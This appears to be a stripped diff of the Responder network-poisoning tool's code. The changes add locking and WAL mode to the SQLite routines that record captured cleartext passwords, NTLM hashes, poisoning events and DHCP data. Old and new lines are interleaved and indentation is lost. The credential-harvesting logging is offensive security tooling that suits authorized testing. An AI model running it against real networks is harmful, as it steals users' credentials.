if not count or settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
if not count or settings.Config.Verbose: # Print output
if len(result['client']):
print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))))
if len(result['hostname']):
print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))))
if len(result['user']):
print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))))
# Bu order of priority, print cleartext, fullhash, or hash
with _db_lock:
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
cursor.execute('PRAGMA journal_mode=WAL')
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
if len(result['cleartext']):
print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))))
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
elif len(result['fullhash']):
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))))
(count,) = res.fetchone()
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
elif len(result['hash']):
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))))
if not count:
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
# Appending auto-ignore list if required
# Except if this is a machine account's hash
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client'])
print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
elif len(result['cleartext']):
print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
else:
print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured hash for %s' % result['user'])
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
cursor.commit()
cursor.close()
if not count or settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
if not count or settings.Config.Verbose: # Print output
if len(result['client']):
print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))))
if len(result['hostname']):
print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))))
if len(result['user']):
print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))))
# Bu order of priority, print cleartext, fullhash, or hash
if len(result['cleartext']):
print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))))
elif len(result['fullhash']):
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))))
elif len(result['hash']):
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))))
# Appending auto-ignore list if required
# Except if this is a machine account's hash
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client'])
print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
elif len(result['cleartext']):
print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
else:
print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured hash for %s' % result['user'])
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
cursor.commit()
cursor.close()
def SavePoisonersToDb(result):
@@ -485,32 +492,37 @@ def SavePoisonersToDb(result):
if not k in result:
result[k] = ''
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
cursor.commit()
with _db_lock:
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
cursor.execute('PRAGMA journal_mode=WAL')
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
cursor.commit()
cursor.close()
cursor.close()
def SaveDHCPToDb(result):
for k in [ 'MAC', 'IP', 'RequestedIP']:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
cursor.commit()
with _db_lock:
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
cursor.execute('PRAGMA journal_mode=WAL')
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
cursor.commit()
cursor.close()
cursor.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':